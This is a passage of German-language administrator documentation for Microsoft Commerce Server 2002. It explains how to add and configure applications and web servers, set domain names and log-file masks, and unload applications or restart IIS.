  • Löschen einer Anwendung aus einer Site. Beschreibt, wie eine Anwendung von einer Site gelöscht wird.
  • Entfernen eines Webservers aus einer Anwendung. Beschreibt, wie ein Webserver aus einer Anwendung gelöscht wird.
  • Automatisches Hinzufügen eines Webservers. Erklärt, wie ein Webserver automatisch einer Anwendung hinzugefügt werden kann.
  • Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site. Erklärt, wie andere Anwendungen und Webserver hinzugefügt werden.
  • Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung.


Hinzufügen einer Anwendung zu einer Site

Eine Anwendung ist eine Gruppe von ASP-Skripts (Active Server Pages) und –Komponenten zum Ausführen von Aufgaben für eine Website. Ein Anwendungsbereich stellt die Webadresse dar, auf die ein Webclient zugreift. Wenn Sie eine Anwendung zu Commerce Server hinzufügen, wird die Verwaltungsdatenbank mit den Konfigurationsdaten für die Anwendung aktualisiert. Wenn Sie der Anwendung einen Webserver hinzufügen, werden die ASP-Dateien auf dem Webservercomputer installiert.

Beim Entpacken einer Commerce Server-Site werden i. d. R. zwei Anwendungen installiert: Eine Anwendung für die Website, auf welche Benutzer zur Suche und zum Kaufen von Produkten zugreifen, und eine andere Anwendung für Commerce Server Business Desk zur Verwaltung dieser Site. Eine Anwendung kann nur die Ressourcen der Commerce-Site nutzen, der sie zugeordnet ist.

Eine Anwendung hat ihre eigenen Webserver. Diese liefern der ASP-Seite Inhalte für die Website. Eine Anwendung umfasst stets mindestens einen Webserver. Sie können eine Anwendung entweder im Stammverzeichnis einer IIS-Website (Internetinformationsdienste) oder in einem virtuellen Verzeichnis einrichten, das sich beliebig viele Ebenen unterhalb des Stammverzeichnisses befindet.

Hinweis

  • Bevor Sie diese Prozedur durchführen, müssen Sie eine Paketdatei erstellen, die die Anwendung enthält, die Sie der Site hinzufügen möchten. Sie können aber auch eine der Lösungssites verwenden. Anweisungen zum Erstellen einer Paketdatei finden Sie unter Verwenden von Site Packager.

So fügen Sie einer Site eine Anwendung hinzu

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Klicken Sie erst auf Anwendungen, klicken Sie dann mit der rechten Maustaste auf Anwendungen, zeigen Sie auf Neu, und klicken Sie schließlich auf Anwendung hinzufügen.
  3. Wählen Sie im Dialogfeld Anwendung hinzufügen von das Paket mit den Anwendungen aus, die Sie der Site hinzufügen möchten. Klicken Sie anschließend auf Öffnen.

    Commerce Server Site Packager wird gestartet.

  4. Überprüfen Sie im Dialogfeld Anwendungen auswählen, ob die zu entpackenden Anwendungen ausgewählt sind. Klicken Sie dann auf Weiter.
  5. Überprüfen Sie dann im Dialogfeld Wählen Sie die IIS-Websites und die virtuellen Verzeichnisse aus, ob die IIS-Anwendungspfade und virtuellen Verzeichnisse die Richtigen sind. Klicken Sie dann auf Weiter.
  6. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Klicken Sie auf die Option Protokolldatei anzeigen, um die Liste der Ereignisse anzusehen, die während der Ausführung von Site Packager aufgetreten sind.
  7. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

Nachdem Sie die Anwendung hinzugefügt haben, müssen Sie den nicht gesicherten (bzw. gesicherten) Hostnamen Ihrer Anwendung in den Domänennamen ändern, der auf dem DNS (Domain Name System)-Server erstellt wurde, z. B. in www.microsoft.com. Weitere Informationen finden Sie unter Festlegen des Domänennamens.

Siehe auch

Hinzufügen einer Business Desk-Anwendung zu einer Site

Festlegen des Domänennamens

Verwenden von Site Packager

Installation auf einer Clusterkonfiguration mit vier Computern

Installation auf einer Konfiguration mit drei Computern ohne Cluster


Hinzufügen einer BusinessDesk-Anwendung zu einer Site

Feedback zu dieser Seite senden Commerce Server 2002

Hinzufügen einer Business Desk-Anwendung zu einer Site

Commerce Server enthält auf jeder Lösungssite eine Business Desk-Anwendung. Beim Entpacken einer Lösungssite wird die Business Desk-Berechtigungsressource entpackt und die Datenbank-Verbindungszeichenfolge festgelegt. Gleichzeitig wird die Business Desk-Anwendung entpackt und der Site hinzugefügt.

Sie können die Business Desk-Anwendung in folgenden Fällen zu einer Site hinzufügen:

  • Wenn Sie eine zweite Business Desk-Anwendung offline anpassen, während die ursprüngliche Anwendung verwendet wird. Nach Abschluss der Bearbeitung können Sie die nunmehr angepasste Business Desk-Anwendung der Site hinzufügen und dadurch die bestehende Anwendung ersetzen.
  • Für Ihre Site stehen zwei Business Desk-Anwendungen zur Verfügung: eine angepasste Business Desk-Anwendung für die Testumgebung und eine weitere angepasste Business Desk-Anwendung für die Produktionsumgebung. Im Business Desk der Produktionsumgebung können Sie z. B. festlegen, dass keine Katalogmodule eingefügt werden sollen, damit Kataloge nicht ohne eine vorgeschaltete Testphase aktualisiert werden können.

Alle Business Desk-Anwendungen enthalten Objekte zur Erkennung der Business Desk-Berechtigungsressource. Standardmäßig haben alle Business Desk-Anwendungen in einer Site dieselben Berechtigungen. Um für jede Business Desk-Anwendung einen anderen Berechtigungssatz einzurichten, müssen Sie mehrere Sites mit separaten Sicherheitsdatenbanken und Business Desk-Berechtigungsressourcen erstellen.

So fügen Sie eine angepasste Business Desk-Anwendung zu einer Site hinzu

  1. Packen Sie die neue Business Desk-Anwendung in eine PUP-Datei. Anweisungen finden Sie unter Packen einer Site.
  2. Entpacken Sie die neue Business Desk-Anwendung, um sie zur Site hinzuzufügen. Anweisungen hierzu finden Sie unter Hinzufügen einer Anwendung zu einer Site.
  3. Verlagern Sie gegebenenfalls die angepassten ASP-Dateien manuell aus der ursprünglichen in die neue Business Desk-Anwendung.
  4. Mithilfe des Business Desk-Moduls "Berechtigungen" werden zusätzliche Features in der Benutzeroberfläche von Business Desk gesichert. Anweisungen finden Sie unter Einrichten von Business Desk-Berechtigungen für Windows-Konten.
  5. Fordern Sie alle Business Desk-Benutzer auf, den neuen Business Desk-Client zu installieren.
  6. Entfernen Sie die ursprüngliche Business Desk-Anwendung.

Anweisungen zum Hinzufügen von neuen Business Desk-Modulen zu einer Business Desk-Anwendung finden Sie unter Automating Module Installation (englisches Thema).


Konfigurieren einer Anwendung

Beim Konfigurieren einer Anwendung werden Eigenschaften bestimmt, die für alle von der Anwendung verwendeten Webserver gelten.

Wenn Sie einem Webserver eine Anwendung hinzufügen, werden einige Eigenschaften automatisch von Internetinformationsdienste (IIS) 5.0 aufgefüllt und in der Verwaltungsdatenbank gespeichert. Wenn IIS-Eigenschaften geändert werden, müssen Sie die Verwaltungsdatenbank mit der IIS-Metabasis synchronisieren: Entweder aktualisieren Sie die neuen Eigenschaften im Commerce Server-Manager manuell, oder Sie klicken im Dialogfeld Eigenschaften der Anwendung auf der Registerkarte Webserver auf die Schaltfläche Werte synchronisieren.

Die Schaltfläche Werte synchronisieren ist nur aktiviert, wenn auf der Registerkarte Allgemein des Dialogfelds Eigenschaften von Anwendung die Option Webserver in dieser Anwendung führen IIS aus aktiv ist und Änderungen über die IIS-Benutzeroberfläche vorgenommen wurden. Sie können dann mit der Schaltfläche Werte synchronisieren den Commerce Server-Manager mit IIS synchronisieren.

Wichtig

  • Wenn Sie auf die Schaltfläche Werte synchronisieren klicken, synchronisiert Commerce Server die Eigenschaften auf der Anwendungsebene und die Eigenschaften aller Webserverobjekte unterhalb der Anwendungsebene. Bei der Synchronisierung der Eigenschaften auf der Anwendungsebene bezieht Commerce Server sich auf die Werte des ersten Webservers. Es wird davon ausgegangen, dass alle Webserver gleich konfiguriert sind, was bei Servern einer Webfarm der Fall sein muss.

Informationen über das Ändern des nicht gesicherten (bzw. gesicherten) Hostnamens Ihrer Anwendung in den Domänennamen, die auf dem DNS (Domain Name System)-Server erstellt wurden (z. B. www.microsoft.com), finden Sie unter Festlegen des Domänennamens.

So konfigurieren Sie eine Anwendung

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf die zu konfigurierende Anwendung, und klicken Sie anschließend auf die Option Eigenschaften.
  3. Führen Sie auf der Registerkarte Allgemein im Dialogfeld Eigenschaften von Anwendung folgende Schritte aus:
    Option | Aktion
    Nicht sicherer Hostname Geben Sie den DNS-Domänennamen zur Verwendung mit nicht gesicherten Links in Ihren Anwendungen ein.

    Vorsicht

    • Wenn Sie als Anschlussnummer nicht 80 verwenden, müssen Sie die von Ihnen verwendete Nummer an das Ende des nicht sicheren Hostnamens hängen (z. B. www.microsoft.com:81). Die Anschlussnummer können Sie auf der Registerkarte Identitäten des Dialogfelds Eigenschaften von Webserver im Feld TCP-Anschluss anzeigen oder bearbeiten. Weitere Informationen finden Sie unter Konfigurieren eines Webservers.
    IIS-Anwendungspfad | Geben Sie den Pfad zur IIS-Anwendung ein.
    HTTPS aktivieren Aktivieren Sie diese Eigenschaft zur Aktivierung von Links für einen sicheren HTTP-Host (SSL) in Ihren Anwendungen.

    AuthManager verwendet diese Eigenschaft im Gegensatz zu AuthFilter. Verwenden Sie in Verbindung mit AuthFilter die Anmeldeformulareigenschaft CS-Authentifizierung, um für Anmeldeseiten SSL festzulegen. Weitere Informationen finden Sie unter Konfigurieren der CS-Authentifizierungsressource.
    Sicherer Hostname Geben Sie den DNS-Domänennamen zur Verwendung mit gesicherten Links in Ihren Anwendungen ein.

    Vorsicht

    • Wenn Sie als Anschlussnummer nicht 443 verwenden, müssen Sie die von Ihnen verwendete Nummer an das Ende des sicheren Hostnamens hängen (z. B. www.microsoft.com:441). Die SSL-Anschlussnummer können Sie auf der Registerkarte Identitäten des Dialogfelds Eigenschaften von Webserver im Feld SSL-Anschluss anzeigen oder bearbeiten. Weitere Informationen finden Sie unter Konfigurieren eines Webservers.

    AuthManager verwendet diese Eigenschaft im Gegensatz zu AuthFilter. Verwenden Sie in Verbindung mit AuthFilter die Anmeldeformulareigenschaft CS-Authentifizierung, um für Anmeldeseiten SSL festzulegen. Weitere Informationen finden Sie unter Konfigurieren der CS-Authentifizierungsressource.
    Autocookie | Aktivieren Sie diese Eigenschaft zur Erstellung von Cookies für anonyme Benutzer. Diese Eigenschaft wird während des Vorgangs des Entpackens eingestellt. Weitere Informationen zum Konfigurieren der Authentifizierung in Ihrer Site finden Sie unter Sichern der Site.
    Authentifizierungsfilter Wählen Sie den zu verwendenden Authentifizierungsfiltertyp in der Dropdownliste aus. Es stehen folgende Optionen zur Verfügung:
    • Kein Filter
    • Windows-Authentifizierung
    • Benutzerdefinierte Authentifizierung

    Weitere Informationen zum Konfigurieren der Authentifizierung in Ihrer Site finden Sie unter Sichern der Site.
    Pfad des Cookies zur Anwendung festlegen | Wählen Sie diese Option aus, wenn Cookies durch mehrere Anwendungen gemeinsam genutzt werden sollen.
    Anzahl der freigegebenen Domänenebenen | Legen Sie fest, wie viele Domänenebenen zwischen verschiedenen Anwendungen übereinstimmen müssen, damit sie einen Cookie gemeinsam nutzen können. Setzen Sie z. B. den Wert auf 2, damit premier.microsoft.com und msn.microsoft.com den microsoft.com-Cookie gemeinsam nutzen.
  4. Klicken Sie auf der Registerkarte Webserver auf die Option Werte synchronisieren, um die Eigenschaften aus IIS in die Commerce Server-Verwaltungsdatenbank zu kopieren.

    Hinweis

    • Die Schaltfläche Werte synchronisieren ist nur aktiviert, wenn auf der Registerkarte Allgemein des Dialogfelds Eigenschaften von Anwendung die Option Webserver in dieser Anwendung führen IIS aus aktiv ist und Änderungen über die IIS-Benutzeroberfläche vorgenommen wurden.

    Oder führen Sie folgende Schritte aus:

    Option | Aktion
    IIS-Website | Geben Sie den Namen der IIS-Website ein (z. B. Standardwebsite).
    Lokale Domäne | Geben Sie den Namen der lokalen Domäne ein (z. B. microsoft.com).
  5. Klicken Sie auf OK.

Hinweis

  • Nach dem Ändern einer Eigenschaft im Commerce Server-Manager ist der Neustart aller Dienste erforderlich, die diese Werte verwenden. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Siehe auch

Konfigurieren eines Webservers

Sichern der Site

Festlegen des Domänennamens


Hinzufügen eines Webservers zu einer Anwendung

Wenn Sie einen Webserver zu einer Anwendung hinzufügen, fügen Sie die ASP-, HTM-, GIF- und andere Dateien für diese Anwendung dem Webservercomputer hinzu. Auf dem Webservercomputer müssen bereits Internetinformationsdienste (IIS) 5.0 und Commerce Server installiert sein.

Sie können Commerce Server Site Packager verwenden, um einen Webserver zu einer Anwendung hinzuzufügen. Nachdem Sie einen Webserver einer Anwendung hinzugefügt haben, wird das Commerce-Webserverobjekt unter dem Anwendungsknoten im Commerce Server-Manager angezeigt. Das Webserverobjekt enthält die Eigenschaften, die vom Data Warehouse zum Importieren von Protokolldateien benötigt werden: Servernamen, IP-Adresse (Internet Protocol), Protokolldateipfad und Protokolldateiperiode. Diese Eigenschaften werden von IIS automatisch ausgefüllt, wenn Sie ein Commerce-Webserverobjekt zu einer Anwendung hinzufügen.

Sie können auch einen neuen Webserver zu einer Anwendung hinzufügen, ohne Site Packager zu verwenden. Stattdessen verwenden Sie Microsoft Application Center Server 2002, um dem Webserver die Commerce Server-Dateien bereitzustellen. Es ist auch möglich, die Commerce Server-Dateien manuell in den Webserver zu kopieren. Weitere Informationen über das Hinzufügen von Webservern zu Commerce Server, ohne dabei Site Packager zu verwenden, finden Sie unter Hinzufügen von Webservern ohne Site Packager.

Hinweise

  • Stellen Sie sicher, dass Sie über Zugriffsberechtigungen für den Computer verfügen, auf dem Sie die Anwendung entpacken.
  • Bevor Sie diese Prozedur durchführen, müssen Sie eine Paketdatei erstellen, die die ASP-Dateien der Anwendung enthält. Sie können aber auch eine der Lösungssites verwenden. Anweisungen zum Erstellen einer Paketdatei finden Sie unter Verwenden von Site Packager.

So fügen Sie einen Webserver zu einer Anwendung hinzu

  1. Erweitern Sie erst Commerce Server-Manager und E-Commerce-Sites auf dem Webservercomputer, den Sie der Anwendung hinzufügen möchten, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, der Sie einen Webserver hinzufügen möchten. Zeigen Sie anschließend auf Neu, und klicken Sie dann auf Webserver hinzufügen.

    Das Dialogfeld Webserver hinzufügen von wird angezeigt. Es enthält eine Liste mit Commerce Server Site Packager-Dateien (d. h. Dateien mit der Erweiterung PUP).

  3. Navigieren Sie im Dialogfeld Webserver hinzufügen von zu dem Ordner, der die zu entpackende Datei enthält. Wählen Sie die Datei, und klicken Sie auf Öffnen.

    Site Packager wird gestartet.

  4. Überprüfen Sie dann im Dialogfeld Wählen Sie die IIS-Websites und die virtuellen Verzeichnisse aus, ob die IIS-Anwendungspfade und virtuellen Verzeichnisse die Richtigen sind. Klicken Sie dann auf Weiter.

    Site Packager fügt erst die Dateien dem Webserver hinzu und fügt anschließend das Commerce-Webserverobjekt der gewählten Anwendung hinzu. Beim Öffnen des Commerce Server-Managers wird das Commerce-Webserverobjekt unter der Anwendung angezeigt.

  5. Überprüfen Sie im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen. Klicken Sie auf die Option Protokolldatei anzeigen, um die Liste der Ereignisse in der PUP-Protokolldatei anzusehen.
  6. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

Siehe auch

Konfigurieren eines Webservers

Hinzufügen eines weiteren Webservers


Hinzufügen eines weiteren Webservers

Wenn Sie einen anderen Webserver einer Anwendung hinzufügen, können Sie während des Entpackens keine Konfigurationsinformationen für Anwendungen ändern, da alle Webserver gleich konfiguriert sein müssen. Commerce Server Site Packager zeigt den Namen der Internetinformationsdienste (IIS) 5.0-Website an, auf der die Anwendung installiert wird, sowie den IIS-Anwendungspfad für jede Commerce-Anwendung.

Wenn Sie eine Anwendung entpacken möchten, die bereits in der Site in der Verwaltungsdatenbank existiert, geht Commerce Server Site Packager davon aus, dass Sie einen Webserver dieser Anwendung hinzufügen.

Siehe auch

Installation auf einer Clusterkonfiguration mit vier Computern

Installation auf Konfiguration mit drei Computern ohne Cluster

Hinzufügen eines Webservers zu einer Anwendung


Konfigurieren eines Webservers

Im Commerce Server-Manager enthalten Webserverobjekte Eigenschaften, die vom Data Warehouse zum Importieren von Protokolldateien benötigt werden. Wenn Sie einem Webserver eine Anwendung hinzufügen, werden diese Eigenschaften automatisch von Internetinformationsdienste (IIS) 5.0 aufgefüllt und in der Verwaltungsdatenbank gespeichert.

Hinweise

  • Wenn das Feld Webserver in dieser Anwendung führen IIS aus im Dialogfeld Eigenschaften von Anwendung aktiviert ist, können Sie entweder eine neue Protokolldateiperiode oder die Option Protokolldateimaske, aber nicht beide Eigenschaften verwenden.
  • Wenn im Dialogfeld Eigenschaften von Anwendung das Feld Namen und Speicherort der Protokolldatei synchronisieren aktiviert ist, dann wird im Dialogfeld Eigenschaften von Webserver der Wert im Feld Protokolldateiverzeichnis mit dem Wert für IIS überschrieben.
  • Die Schaltfläche Werte synchronisieren ist nur aktiviert, wenn auf der Registerkarte Allgemein des Dialogfelds Eigenschaften von Anwendung die Option Webserver in dieser Anwendung führen IIS aus aktiv ist und Änderungen über die IIS-Benutzeroberfläche vorgenommen wurden. Sie können dann mit der Schaltfläche Werte synchronisieren den Commerce Server-Manager mit IIS synchronisieren.

So konfigurieren Sie einen Webserver

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie zunächst Anwendungen und dann die Anwendung, die den Webserver enthält, den Sie konfigurieren möchten. Klicken Sie anschließend mit der rechten Maustaste auf das Webserverobjekt, und klicken Sie dann auf Eigenschaften.
  3. Nehmen Sie im Dialogfeld Eigenschaften von Webserver auf der Registerkarte Identitäten die folgenden Einstellungen vor:
    Option | Aktion
    Servername | Geben Sie den Namen des Computers ein, auf dem der Webserver installiert ist. Ändern Sie den Namen nur dann, wenn Sie den Server umbenannt haben.
    Identitäten | Dieses Feld zeigt die IP-Adresse (Internet Protocol) für den Webserver, den TCP-Anschluss und den Hostheadernamen an. Diese Werte werden anfangs aus IIS gelesen.
    SSL-Identitäten | Dieses Feld zeigt die IP-Adresse (Internet Protocol) und den SSL-Anschluss für den Webserver an. Diese Werte werden anfangs aus IIS gelesen.
  4. Führen Sie auf der Registerkarte Protokolldateien folgende Schritte aus:
    Option | Aktion
    Zeitraum für die Protokolldateiaktualisierung | In diesem Feld können Sie angeben, wie lange die IIS-Website in eine Protokolldatei schreibt, bevor sie eine neue Datei erstellt. Dieser Wert wird anfangs aus IIS gelesen.
    Protokolldateimaske | Hier können Sie bei Bedarf eine benutzerdefinierte Protokolldateirotation angeben, um festzulegen, wie lange die IIS-Website in eine Protokolldatei schreibt, bevor sie eine neue Datei erstellt. Weitere Informationen, einschließlich Beispiele für Feldeinträge, finden Sie unter Festlegen einer Webserver-Protokolldateimaske.
    Protokolldateiverzeichnis | Geben Sie den Protokolldateipfad ein, in den die IIS-Website Ereignisse schreibt, z. B. C:\Winnt\System32\LogFiles\Log1. Dieser Wert wird anfangs aus IIS gelesen. Sie können aber auch ein anderes Verzeichnis festlegen, wenn Sie vor der Ausführung der DTS-Importtasks die Webprotokolldateien vom Webserver an einen zentralen Speicherort kopieren.
    Codepage der Protokolldatei In diesem Feld wird die von der gesamten Datei verwendete Codepage angezeigt.

    IIS 5.0 unterstützt die Systemcodepages. Von künftigen IIS-Versionen wird UTF-8 unterstützt.
    Codepage der URL-Codierung In diesem Feld wird die von allen URLs verwendete Codepage angezeigt.

    IIS 5.0 unterstützt die Systemcodepages. Von künftigen IIS-Versionen wird UTF-8 unterstützt.
  5. Klicken Sie auf OK.


Festlegen einer Webserver-Protokolldateimaske

Eine Protokolldateimaske ist eine Eigenschaft, mit der die Webserver-Protokolldateinamen in Abhängigkeit von der zeitlichen Rotation der Dateien oder der Dateigröße festgelegt werden. Beispielsweise wird eine tägliche Rotation der IIS-Protokolldatei mit exyymmdd.log bezeichnet: Der Name der Protokolldatei hat das Präfix "ex", eine zweistellige Jahres-, eine zweistellige Monats- und eine zweistellige Tagesangabe. Die Protokolldateimaske wird beim Konfigurieren eines Webservers mithilfe von Commerce Server-Manager eingerichtet.

Am Ende der Dateimaske sollten Sie eine Erweiterung hinzufügen, in den meisten Fällen ".log".

Regeln für Protokolldateimasken

  • Feste Zeichenfolgen können an jeder Position der Protokolldateimaske hinzugefügt werden.
  • Protokolldateimasken unterstützen die Maskierung auf Verzeichnisebene.
  • Folgende Zeichen sind in Protokolldateimasken unzulässig: : | * ? < > / "
  • Die Rotation der Protokolldatei kann in der Maske festgelegt werden. In der folgenden Tabelle finden Sie eine Auflistung von Werten für Protokolldateimasken, die die Rotation festlegen.
    Protokolldateimaske | Beschreibung | Beispiel
    0 | Erweiterte Dateinamen
    1 | Tägliche IIS-Rotation | ex$y$m$d.log
    2 | Wöchentliche IIS-Rotation | ex$y$m$w.log
    3 | Monatliche IIS-Rotation | ex$y$m.log
    4 | Stündliche IIS-Rotation | ex$y$m$d$h.log

In der folgenden Tabelle werden die für das Festlegen der Protokolldateimaske zu verwendenden Zeichen aufgelistet.

Zeichen | Beschreibung
$M | Vollständiger Monatsname (nur englische Monatsnamen werden unterstützt)
$m | Monat 01-12
$d | Tag 01-31
$h | Stundenangabe 00-23
$y | Zweistellige Jahresangabe 00-99
$Y | Vierstellige Jahresangabe
$w | Woche des Monats 01-05
$n | Für die fortlaufende Nummerierung zur Unterstützung erweiterter IIS-Protokolldateinamen (nur einstellige Nummern)
$N | Wie $n, aber für alle Nummern mit einer oder mehreren Stellen. Diese Angabe sollte direkt vor der Dateierweiterung stehen. Zeichenfolgen, die nicht mit einer Ziffer beginnen, kann $N vorangestellt werden.

Beispiele für Protokolldateimasken

Beispiel 1

Wenn Sie die erweiterten IIS-W3C-Protokolldateien so umbenennen, dass der Servername dem Protokolldateinamen als Präfix vorangestellt wird, ergeben sich für eine tägliche Rotation folgende Protokolldateinamen:

Server1_ex010810.log

Server1_ex010811.log

Um diese Protokolldateien zum Importieren abzurufen, geben Sie im Feld Protokolldateimaske den Dateinamen Server1_ex$y$m$d.log ein.

Beispiel 2

Bei Auswahl der IIS-Protokolleigenschaften Unbegrenzte Protokolldateigröße oder Maximale Protokolldateigröße erhalten die Dateinamen das Format extend#.log, d. h. extend1.log, extend2.log usw.

Um diese Protokolldateien zum Importieren des Protokolls abzurufen, geben Sie im Feld Protokolldateimaske den Dateinamen extend$n.log ein.

Beispiel 3

Das Feld Protokolldateimaske kann auch ein Verzeichnis enthalten. Um Protokolldateien z. B. aus dem Ordner e:\logs\server1\extend1.log auszuwählen, können Sie im Feld Protokolldateimaske eine der folgenden Dateimasken festlegen:

  • Wenn der Protokolldateipfad e:\logs\server1\ ist, geben Sie im Feld Protokolldateimaske den Dateinamen extend$n.log ein.
  • Wenn der Protokolldateipfad e:\logs ist, geben Sie im Feld Protokolldateimaske den Dateinamen server1\extend$n.log ein.
  • Wenn der Protokolldateipfad e:\logs ist, geben Sie im Feld Protokolldateimaske den Dateinamen server$n\extend$n.log ein.

Siehe auch

Konfigurieren einer Anwendung

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


Festlegen des Domänennamens

Sie müssen den nichtgesicherten (bzw. gesicherten) Hostnamen Ihrer Anwendung in den Domänennamen ändern, der auf dem DNS (Domain Name System)-Server erstellt wurde, z. B. www.microsoft.com. Commerce Server liest den Domänennamen nicht automatisch aus DNS, sondern verwendet stattdessen den Computernamen als Standarddomänenname. Gehen Sie folgendermaßen vor, um für Commerce Server einen Domänennamen anzugeben.

Wenn Sie zuerst eine Site entpacken, erhalten Ihre Anwendungen den Namen des Computers (z. B. Server1) und der Anwendungspfade der Internetinformationsdienste (IIS) 5.0, die Sie während des Vorgangs des Entpackens bestimmt haben (z. B. /msn). Ein Beispielname einer Anwendung ist Server1/msn.

Jede Anwendung Ihrer Site muss in den Domänennamen umbenannt werden. Für die Anwendung www.microsoft.com/msn lautet der Domänenname www.microsoft.com. Der IIS-Anwendungspfad ist /msn.

So legen Sie den Domänennamen fest

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen und klicken Sie mit der rechten Maustaste auf die Anwendung, die Sie umbenennen möchten. Klicken Sie anschließend auf Eigenschaften.
  3. Führen Sie im Dialogfeld Eigenschaften von Site auf der Registerkarte Allgemein folgende Schritte aus:
    Option Aktion
    Nicht sicherer Hostname Geben Sie den Domänennamen ein, so wie er in Ihrem DNS-Server angezeigt wird (z. B. könnten Sie ihn in www.microsoft.com ändern).

    Vorsicht

    • Wenn Sie als Anschlussnummer nicht 80 verwenden, müssen Sie die von Ihnen verwendete Nummer an das Ende des nicht sicheren Hostnamens hängen (z. B. www.microsoft.com:81). Die Anschlussnummer können Sie auf der Registerkarte Identitäten des Dialogfelds Eigenschaften von Webserver im Feld TCP-Anschluss anzeigen oder bearbeiten. Weitere Informationen finden Sie unter Konfigurieren eines Webservers.
    IIS-Anwendungspfad Geben Sie den Pfad zur IIS-Anwendung ein. Beispiel: Für die Anwendung www.microsoft.com/msn lautet der Pfad /msn.

    Vorsicht

    • Wenn Sie diese Eigenschaft ändern, müssen Sie den Speicherort dieser Dateien auf dem/den Webserver(n) ändern, sodass Pfad und Speicherort übereinstimmen. Sie müssen auch IIS mit der neuen Anwendung konfigurieren.
  4. Klicken Sie auf OK.

Hinweis

  • Nach dem Ändern einer Eigenschaft im Commerce Server-Manager ist der Neustart aller Dienste erforderlich, die diese Werte verwenden. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.


Entfernen einer Anwendung aus dem Speicher

In Commerce Server ist jede Site eine Anwendung von Internetinformationsdienste (IIS) 5.0. Nachdem Sie den Wert einer Eigenschaft im Commerce Server-Manager geändert haben, müssen Sie die IIS-Anwendungen aus den Speichern aller Webserver entfernen, damit die Änderungen wirksam werden. Der von der Datei Global.asa in Commerce Server erstellte Cache wird freigegeben. Wenn der nächste Benutzer Ihre Site besucht, werden die Ressourceeigenschaften wieder gelesen und in den Cache geladen.

Das Entfernen einer Anwendung aus dem Speicher unterscheidet sich vom Neustarten von IIS oder dem Befehl IISReset. Durch den Neustart von IIS werden alle Webanwendungen aus dem Speicher entfernt, der IIS-Dienst wird neu gestartet und der Cache aktualisiert. Der Vorteil beim Entfernen einer Anwendung aus dem Speicher mithilfe des folgenden Verfahrens besteht darin, dass an den Eigenschaften vorgenommene Änderungen wirksam werden, ohne sämtliche Anwendungen auf dem Webserver beenden zu müssen. Bei bestimmten Konfigurationsänderungen ist jedoch ein Neustart des IIS-Dienstes bzw. anderer Dienste erforderlich. Weitere Informationen hierzu finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Sie müssen eine Anwendung aus dem Speicher entfernen, nachdem Sie eine der folgenden Aufgaben durchgeführt haben:

  • Konfigurieren einer globalen Ressource
  • Konfigurieren einer Siteressource
  • Konfigurieren der Anwendungsstandardkonfiguration
  • Konfigurieren einer Anwendung
  • Einrichten eines Domänennamens

Wichtig

  • Wenn Sie die CS-Authentifizierungsressource (eine globale Ressource) ändern, müssen Sie IIS allerdings neu starten. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

So entfernen Sie eine Anwendung aus dem Speicher

  1. Wählen Sie im Internetinformationsdienste-Snap-In das Stammverzeichnis der IIS-Website oder das Ausgangspunkt-Verzeichnis der Anwendung aus.
  2. Klicken Sie mit der rechten Maustaste auf das Verzeichnis (z. B. Standardwebsite), klicken Sie auf Eigenschaften und dann auf die Registerkarte Basisverzeichnis.

    Hinweis

    • Wenn die Schaltfläche Entfernen nicht zur Verfügung steht, befinden Sie sich nicht im Ausgangspunkt-Verzeichnis bzw. die Anwendung ist bereits entfernt worden.
  3. Klicken Sie auf Entfernen.

    Es könnte die folgende Nachricht angezeigt werden: "Das Entladen dieser Anwendung wird alle Anwendungen im Anwendungspool entfernen. Möchten Sie den Vorgang wirklich fortsetzen?"

  4. Klicken Sie auf Ja, wenn diese Meldung angezeigt wird.

Die Anwendung wird aus dem Speicher entfernt. Sobald der nächste Benutzer Ihre Webseite besucht, werden die neuen Eigenschaftswerte gelesen, wenn die Anwendung in den Speicher geladen wird.

Siehe auch

Neustarten von IIS und Commerce Server-Diensten

Konfigurieren einer globalen Ressource

Konfigurieren einer Siteressource

Konfigurieren der Anwendungsstandardkonfigurations-Ressource

Konfigurieren einer Anwendung

Festlegen des Domänennamens


Neustarten von IIS und CommerceServer-Diensten

Feedback zu dieser Seite senden Commerce Server 2002

Neustarten von IIS und Commerce Server-Diensten

Wenn Sie die von der CS-Authentifizierungsressource verwendeten Eigenschaften ändern, müssen Sie Internetinformationsdienste (IIS) 5.0 beenden und neu starten. Wenn Sie Commerce Server-Manager zum Ändern der globalen Ressourcen in Commerce Server verwenden, müssen Sie den entsprechenden CS-Dienst ebenfalls neu starten.

Dieses Thema umfasst:

  • Neustarten von IIS
  • Neustarten von CS-Diensten

Neustarten von IIS

Wenn Sie die von der CS-Authentifizierungsressource verwendeten Eigenschaften ändern, müssen Sie IIS beenden und neu starten. Durch den Neustart von IIS werden alle Webanwendungen aus dem Speicher entfernt, der IIS-Dienst wird neu gestartet und der Cache aktualisiert. Beim Neustarten von IIS ist ein zusätzliches Entfernen einer Anwendung aus dem Speicher daher nicht notwendig.

Sie müssen IIS neu starten, wenn Sie eine der folgenden Aufgaben in der CS-Authentifizierungsressource durchführen:

  • Konfigurieren der Eigenschaften der CS-Authentifizierungsressource
  • Aktivieren der Cookiefreigabe über Domänen/Anwendungen hinweg
  • Aktivieren von AuthFilter
  • Deaktivieren von AuthFilter

Hinweis

